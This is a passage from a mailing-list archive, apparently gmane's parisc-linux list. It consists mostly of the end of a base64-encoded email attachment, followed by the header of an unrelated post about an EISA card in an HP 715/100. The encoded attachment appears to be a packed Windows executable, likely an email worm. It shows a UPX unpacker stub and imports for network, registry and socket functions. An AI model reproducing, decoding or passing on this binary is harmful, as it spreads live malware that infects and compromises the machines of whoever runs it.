CIJXxA/1xv/////ZsGVQ6bcS6ri+i3yIufzfHd1iSS3aFfN804xlTNT7WO3/v/Bhsk3OLDp0
ALyj4jC71EGl30rXldhh/////8TRpPv01tNq6WlD/NluNEaIZ63QuGDacy0EROUdAzNf////
/0wKqsl8Dd08cQVQqkECJxAQC76GIAzJJbVoV7OFbyAJ/////9RmuZ/kYc4O+d5emMnZKSKY
0LC0qNfHFz2zWYENtC47/////1y9t61susAgg7jttrO/mgzitgOa0rF0OUfV6q930p0V////
/ybbBIMW3HMSC2PjhDtklD5qbQ2oWmp6C88O5J3/CZMn/////64ACrGeB31Ekw/w0qMIh2jy
AR7+wgZpXVdi98tnZYBx/////zZsGecGa252G9T+4CvTiVp62hDMSt1nb9+5+fnvvo5D//+X
+L63F9WOH+ij1tZ+k9GhxMLYOFLy30/xZ/////+70WdXvKbdBrU/SzaySNorDdhMGwqv9koD
NmB6BEHD7/////9g31XfZ6jvjm4xeb5pRoyzYcsag2a8oNJvJTbiaFKVd/////8MzANHC7u5
FgIiLyYFVb47usUoC72yklq0KwRqs1yn///////XwjHP0LWLntksHa7eW7DCZJsm8mPsnKNq
dQqTbQKpBv9/q/8JnD82DuuFZwf/VwAFgkq/lRR6uOKuK7H/////ezgbtgybjtKSDb7V5bfv
3Hwh39sL1NLThkLi1PH4s903/v//aG6D2h/NFr6BWya59uF3sG93R7cY5lp9cGpv/P//D//K
OwZmXAsBEf+eZY9prmL40/9rYcRsFnj/////4gqg7tIN11SDBE7CswM5YSZnp/cWYNBNR2lJ
23duPkr/X+L/atGu3FrW2WYL30By2DdTrrypxZ673n/P/////7JH6f+1MBzyvb2KwrrKMJOz
U6ajtCQFNtC6kwbXzSlX6P///95Uv2fZIy56ZrO4SmHEAhtoXZQrbyo3vgu0oT+00d9Owxvf
BVqN3y2eQUJDt4D//0RFRkdISUpLTE1OT1BRUlNUy1hZ/////1phYmNkZWZnaGlqa2xtbm9w
cXJzdHV2d3h5ejAxMjM0lth0/zU2Nzg5Ky8AAP/bO9Xv34r/7wNydW50aW1lIGVycm9yr1RM
T1PYTdWzUw0NCnNJTkcOay2WCgdPPhIRy9vtL1I2MDI4CC0gR2FibHRvl9obzmluaVJmaXoN
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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIA
AwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAA
AAAAAAAAAAABAAcEAABYAAAA1MABAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAHBAAA
gAAAAMDDAQAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZQAAAKgAAIAAAAAAAAAAAAAA
AAAAAAEABwQAAMAAAADsxAEAIgAAAAAAAAAAAAAA0JABACgAAAAgAAAAQAAAAAEABAAAAAAA
gAIAAAAAAAAAAAAAAAAAAAAAAADM//8AaFdYAAAAAACAgIAA////AMDAwAD/AAAAAP//AL8A
AAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiESIiIiIiIiIiIiIiIiIiIhNVVVVVVV
VVVVVVUlIiIiI0REREREREREREREUlIiIiNERERERERVVERFVVJSIiIjRIiIiERJmUREmZRS
UiIiI0RERERERJVERElUUlIiIiNEiIiIiERJVVVZVFJSIiIjRERERERERJmZmVRSUiIiI0SI
iIiIiERJVElUUlIiIiNERERERERERJVJVFJSIiIjRIiIiIiIiERJWVRSUiIiI0RERERERERE
RJlUUlIiIiNEiIiIiIiIiERJRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhEUlIi
IiNERERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEIiIi
IkSIiIiIRFJSIiIjRDmSREJERERERERSUiIiI0QyIiIiRIiIiIhEUlIiIiNENEJ3ckRERERE
RFJSIiIjRDIid3JEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNENEJmYkRERERERFJSIiIj
RDRCZmJERERERERSUiIiI0QzMiIiREREREREUlIiIiNERERERERERERERFJSIiIjQkQkQkQk
QkQkQkQyUiIiI0JEJEJEJEJEJEJEMlIiIiIkM0M0M0M0M0M0M0MiIiIiIiIiIiIiIiIiIiIi
IiLgAAAP4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAf4AAAP/////7iTAQAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/
AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAHd3d3d3cAAA//+f/59wAAD//3mZn3AA
APRE95+fcAAA////eZ9wAAD0RET3n3AAAP//////cAAA9ERERE9wAAD//////3AAAPRERERP
cAAA//////9wAAD//////3AAAPDw8PDw8AAAD4+Pj4+AAAAAAAAAAAAAwAcAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA6q8AAOCU
AQAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADUxQEA
nMUBAAAAAAAAAAAAAAAAAOHFAQCsxQEAAAAAAAAAAAAAAAAA7sUBALTFAQAAAAAAAAAAAAAA
AAD7xQEAvMUBAAAAAAAAAAAAAAAAAAbGAQDExQEAAAAAAAAAAAAAAAAAEsYBAMzFAQAAAAAA
AAAAAAAAAAAAAAAAAAAAABzGAQAqxgEAOsYBAAAAAABIxgEAAAAAAFbGAQAAAAAAaMYBAAAA
AAB0xgEAAAAAAAsAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQSTMyLmRsbABpcGhscGFwaS5k
bGwAVVNFUjMyLmRsbABXSU5JTkVULmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFyeUEAAEdl
dFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ09wZW5LZXlBAAAAR2V0TmV0d29ya1Bh
cmFtcwAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==


------=_NextPart_000_0012_0000642A.00000C81--




From - Thu Nov 08 21:31:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA-Card in 715 /100
Date: Wed, 07 Apr 2004 07:58:46 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <40739896.7010600@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
